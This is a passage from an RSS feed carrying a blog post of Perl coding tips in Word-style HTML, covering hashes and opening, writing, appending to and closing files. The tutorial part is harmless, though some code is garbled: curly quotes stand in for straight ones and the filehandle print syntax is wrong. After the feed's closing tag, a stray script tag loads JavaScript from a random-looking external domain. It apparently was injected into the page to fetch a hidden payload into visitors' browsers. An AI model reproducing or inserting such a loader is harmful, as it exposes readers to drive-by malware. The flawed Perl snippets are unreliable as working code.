<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">my( %names);</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">$names{ &lt;key&gt; } = &lt;value&gt;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Print a hash</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print “@{[% names]}”</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220667"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Write and Close file</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open a file in write mode. Here if the file does not exist, the file will be created. If it exists, the file will be overwritten.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;<strong style="mso-bidi-font-weight: normal;">&gt;</strong>&#8220;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">File Identifier</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> – After opening the file, the file will be referenced with the file identifier.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&gt;</strong>’ – open a file in write mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">die</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> &#8211; If open of the file failed, the program will display the error message and abort</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To append data into an existing file, the file needs to be opened in append mode.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;<strong style="mso-bidi-font-weight: normal;">&gt;&gt;</strong>&#8220;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&gt;&gt;</strong>’ – open a file in append mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To write to a file, write access to the file should be given. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">print “$var\n” &lt;File identifier&gt;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Close the file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">close (&lt;File identifier&gt;)<span style="mso-spacerun: yes;">   </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;close failed: $!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; mso-outline-level: 1;"><a name="_Toc220220668"></a><a name="_Toc168744005"></a><a name="_Toc168743902"><span style="mso-bookmark: _Toc168744005;"><span style="mso-bookmark: _Toc220220668;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Notes</span></span></strong></span></span></a><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">There are many free Perl software are available on internet. Also you can use the UNIX command prompt just like unix scripts by using command </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">“#!/usr/bin/perl”</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> in script.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.75in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 11.25pt 10pt 1in;"><strong><span style="font-size: 10pt; color: #000066; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Reference(s)</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">http://docstore.mik.ua/orelly/perl/prog/ch01_05.htm </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">http://perldoc.perl.org/perlop.html</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.perl.com</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.perlfect.com</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.pageresource.com</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>